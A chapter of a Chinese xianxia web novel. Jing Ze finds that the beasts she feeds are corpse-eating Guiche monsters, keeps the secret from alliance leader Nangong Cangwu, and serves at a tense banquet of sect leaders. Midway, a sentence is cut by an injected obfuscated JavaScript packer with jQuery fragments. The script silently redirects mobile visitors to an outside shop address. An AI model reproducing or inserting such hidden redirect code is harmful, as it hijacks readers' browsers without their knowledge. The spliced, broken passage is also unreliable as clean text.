目之所及,全是乌泱泱的巨鸟。
这些巨鸟通体漆黑,煞气冲天,每只都长着九个脑袋,每个脑袋下都生着一双肉翅,脖颈处还不断往下滴着暗红色的血。
这哪里是什么灵兽!若她没有猜错,这些鸟正是传说中的凶兽鬼车,最喜吸人精血、吃人肉。
场面太过震撼,景泽浑身止不住地颤抖。
她强压着恐惧低头往铁桶里看去,这才彻底看清,桶里那些所谓的“肉”,竟然全是大大小小的尸块!有被斩断的手指,有粘连着血污的头发,甚至还有半截孩童的手臂。
想到自己这些天一直在给鬼车喂人肉,景泽再也忍不住,弯下腰,“哇”的一声吐了出来。
无数问题在她脑海中轰然炸开:仙盟后山为什么会养着这些鬼车?仙盟为何从来没有对外说起过?这些人肉又是从哪里来的?那些失踪的凡人,是不是……
难怪前来饲兽的人都要被蒙住眼睛!难怪这里臭气熏天!原因根本不是什么“灵兽胆小”,只是因为这些鬼车见不得光!
她越想越觉得后背发凉,尚未把这些想明白,忽听得远处传来窸窸窣窣的脚步声。
有人来了!这时候会有谁来?
万分紧急之下,景泽顾不得恶心,连忙捡起地上的布条,双手绕到脑后胡乱拴好,又摸索着把铁桶捡起来,装作什么都没看到的样子,若无其事地继续喂“灵兽”。
她一颗心咚咚狂跳,拿铲子的手止不住地发抖。她能感觉到,脚步声越来越近,那人正在朝她走来。
须臾,一道声音在她耳畔响起:“我听晴儿说,方才有魔修闯入此地,你可曾看见?”
景泽从声音辨认出来人是南宫苍梧。
想来是那曹晚晴方才逃出去后,立即就去禀报了他。以前景泽对南宫苍梧一直敬重有加,可方才看了那乌泱泱的鬼车之后,她心中只剩下彻骨的恐惧。
听到“魔修”二字,景泽难以置信地反问:“方才这里有魔修么?”
她方才不是被一个弟子救了吗?难道当时除了曹晚晴,还有魔修在场?那她刚才真是从鬼门关走了一遭!
南宫苍梧站在她身旁,不动声色地观察着她的神色。
那意外震惊的表情不似作假,他又问了一遍:“你当真没有看到魔修?”
景泽虽心里七上八下,还是强装镇定道:“回盟主,弟子真的没见到什么魔修,弟子一直在这里喂灵兽,若真有魔修在,弟子怕是早已小命不保了。”
空气陷入死一般的沉寂,良久,她听见南宫苍梧深吸了一口气,换了个话题:“你这些天喂灵兽,可还习惯?”
南宫苍梧语调甚是温柔,景泽却听得浑身起鸡皮疙瘩。
她恭恭敬敬回道:“弟子习惯。”
南宫苍梧若有所思地点点头:“我前两日听弟子说,你喂灵兽格外认真。看来你是个能吃苦、心性极佳的女子。你可愿入我盟主宫,拜入我门下?”
想到南宫苍梧养了那么多凶兽,景泽心中一阵恶寒,但还是咬了咬牙:“弟子愿意。”
她记得自己上仙盟的初衷是打探逸归尘的线索,她的目的是替兄长报仇。至于南宫苍梧在后山养什么,那或许只是他的个人癖好。她曾在话本上见过,许多外表正经的人,私下里都很变态,说不定南宫苍梧就是其中之一。
景泽觉得,堂堂仙盟盟主有什么变态癖好,不管从哪个角度讲,都跟她没关系。
·
当天晚上,景泽便在南宫苍梧的准许下,搬进了盟主宫弟子寝殿,蔡乔的房间就在她隔壁。
抛开其他不谈,仙盟在对待弟子这方面着实大方。房间宽敞又豪奢,里面的家具摆设全是上等材料。
景泽趴在床上,伸手一摸,这床软得不像话,连被褥全是蚕丝的。
她不由得想:人在这么舒服的环境下,还能认真修行吗?难怪之前在养兽场里攻击她的那个女子剑法那么烂!她要是一直住在这种温柔乡里,肯定也得堕落!
晚上她和蔡乔一起吃饭,两人几天未见,一见面便有满肚子话要说。
蔡乔夹起一个狮子头正要往嘴里送,听景泽说完,大惊失色,手里的狮子头“啪嗒”掉回了碗里:“什么!你说你在后山看到了……唔唔!”
见蔡乔音量陡然拔高,景泽吓得魂飞魄散,连忙扑上去捂住她的嘴,警惕地朝四周扫了一圈,确认膳堂里没有旁人,这才松了一口气,压低声音道:“你小声点!这是我意外发现的!叫人知道了对咱俩都不好!”
蔡乔被捂得满脸通红,拼命点头。
景泽松开手后,她大口喘着气,脸上风云变幻,半天都没消化掉方才的消息。
“景泽,你确定你没看走眼?”
蔡乔压低嗓门,满脸不可思议:“万一那真的只是长得比较丑的灵兽呢?我这些天在盟主宫当侍女,没少见到南宫苍梧,我觉得吧……他应该没那么变态吧?至少从外表上看不出任何痕迹啊!你是没见着他那张脸,清清冷冷的,走到哪儿都跟仙君下凡似的……”
景泽斩钉截铁地打断她:“你见过哪个变态会承认自己是变态?而且我发誓,那绝对是鬼车!我没有看走眼!你信我,蔡乔!”
蔡乔张了张嘴,见景泽如此肯定,也不好再反驳什么。
她沉默半晌,神情复杂地感慨道:“真是活久了什么都能见到,谁能想到那个一根头发丝儿就值两万两黄金、清冷自持、修为强大、万人敬仰的玄虚真君南宫苍梧,居然是个变态!”
·
三日后,南宫苍梧在盟主宫设宴,邀请其余六大宗门宗主前来赴会。
宴会设在四方宴会厅,厅内金碧辉煌、富丽堂皇,四壁上挂着流光溢彩的夜明珠,照得厅中亮如白昼。正中搭了一座高台舞台,台上铺着大红地毯,两旁丝竹之声不绝于耳,数十名貌美歌姬舞姬正在表演,水袖翻飞,婀娜多姿。
景泽尚未参加拜师大典,身份有些尴尬,为了找点事做,她便陪着蔡乔一起过来干侍女的活计。
两人换了统一的青色衣裙,端着托盘穿行于宴会厅中,挨个给各位宗主斟酒。
酒过三巡,景泽斟到无情宗宗主东方遥卿面前时,只见东方遥卿微微一笑,端起酒杯,盯着她的眼睛,漫不经心似的问了一句:“仙盟可还好?你们找到想要的答案了么?”
丝竹之声此起彼伏,满堂觥筹交错,没人注意到角落里这番对话,也没人听清东方遥卿说了什么。
景泽斟酒的手倏地一抖,琥珀色的酒液溅出几滴落在桌案上。
她抬头看向东方遥卿,眼中满是不可思议,半晌后,她终于恍然大悟,惊讶得差点叫出声来:“你、你就是我们在寒烬山驿站遇到的那位斗笠女侠!”
东方遥卿不动声色地将酒杯送到唇边,仰头一饮而尽:“你还算聪明,不过,这个秘密,我希望只有你们二人知道。”
“别告诉任何人,明白么?”
景泽强行按捺住心底的惊涛骇浪,连连点头:“是,我绝不会告诉任何人。”
东方遥卿淡淡颔首,唇角掠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625073|202397||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
过一抹意味深长的笑意,目光越过景泽,悠悠落向宴会厅入口处,那个刚刚进来的老头。
那老头手里拿着一把拂尘,穿着一身洗得发白的灰布道袍,随行不过两三个小弟子,风尘仆仆的样子,看得出他来得有些着急。
此人正是济世宗宗主,尉迟怀仁。
尉迟怀仁到场后,在小弟子的引导下落了座,位置是最边角的那一个。
他朝主位上的南宫苍梧举杯,歉然道:“盟主,老夫来迟了,先自罚一杯。”
说罢,尉迟怀仁仰头将杯中酒一饮而尽。
南宫苍梧微微颔首,并未多言。
可其余几位宗主,除了东方遥卿,都开始交头接耳起来,脸上挂着一副看好戏的笑意。
天云宗宗主温之澜率先开了口,语气里满是揶揄:“尉迟宗主今日倒是来得迟些,我还道你路上盘缠又被贼人窃去,再度落魄赶路呢!”
话音落下,满堂哄笑此起彼伏。
尉迟怀仁脸上倏地闪过一抹难堪,嘴角抽了抽。
原来昔年一次宗门集会,尉迟怀仁途中宿于客栈,夜间遭贼人洗劫,周身银两物件、随身佩剑尽数被窃,不仅迟到数日,更是狼狈不堪赴会,沦为诸宗经年笑柄。
尉迟怀仁老脸一红,神色窘迫,嘴角微微抽动,勉强挤出几分笑意:“温宗主莫再取笑老夫了,此番实在是济世宗地处荒僻,距仙盟最远,老夫已是日夜兼程,最快赶来,绝非有意延误。”
踏山宗宗主祝无尘接过话头,笑吟吟道:“想来尉迟宗主御剑飞行的速度很慢啊,瞧你那佩剑,是普通材料制成的吧?飞行时难免拖后腿,这样吧,我这里有世间最稀有材料制成的佩剑,名曰‘追光’,飞行速度极快……”
尉迟怀仁眼睛一亮,连忙拱手:“那就多谢祝宗主了!”
“唉!先别谢我那么快。”
祝无尘摆摆手,脸上的笑意更深了:“我这剑价值连城,看在我与尉迟宗主百年情谊的分上,我折一半价钱卖给你,如何?”
此言一出,满堂又是一阵低笑。
在座的谁不知道,六大宗门之中,济世宗地处偏远、香火稀薄、财力最穷,门下弟子丹药法器尚且时常短缺,度日拮据,哪里有余钱购这价值连城的追光剑?
祝无尘当着所有人的面,要把价值连城的剑折价“卖”给他,分明是在故意取笑他、为难他。
无数目光齐齐聚焦在边角席位的尉迟怀仁身上,他脸上的笑终于挂不住了,沉默片刻,如实说道:“多谢祝宗主美意,只是济世宗清贫,老夫囊中羞涩,实在无力购置追光。此剑神妙非凡,还请祝宗主自留,日后传予门下杰出弟子便是。”
话说到这个份上,已是十分难堪。
祝无尘取笑的目的达成,嘴里轻轻一哼,端起酒杯继续喝酒,不再看他。
景泽立在一旁,手持酒壶,将这满堂冷暖、人情炎凉尽数看在眼里,心底五味杂陈。
她往日听闻六大宗门尊主,皆是修为超凡、道心澄澈、胸襟磊落的世外高人,当真是仙风道骨、不染尘俗。
今日亲眼所见,才知盛名之下,未必副实。这些高居仙途顶层、受万人敬仰的宗主,私下里依旧是市井心性,好戏谑、喜攀比、欺弱媚强,与寻常凡夫俗子,并无二致。
正想着,忽听东方遥卿放下了酒杯,“叮”的一声脆响,打断了满堂的窃窃私语。
“如今六宗宗主尽数到齐,盟主连日传讯,劳各派千里奔赴仙盟,不知究竟有何等要事,此刻尽可直言。”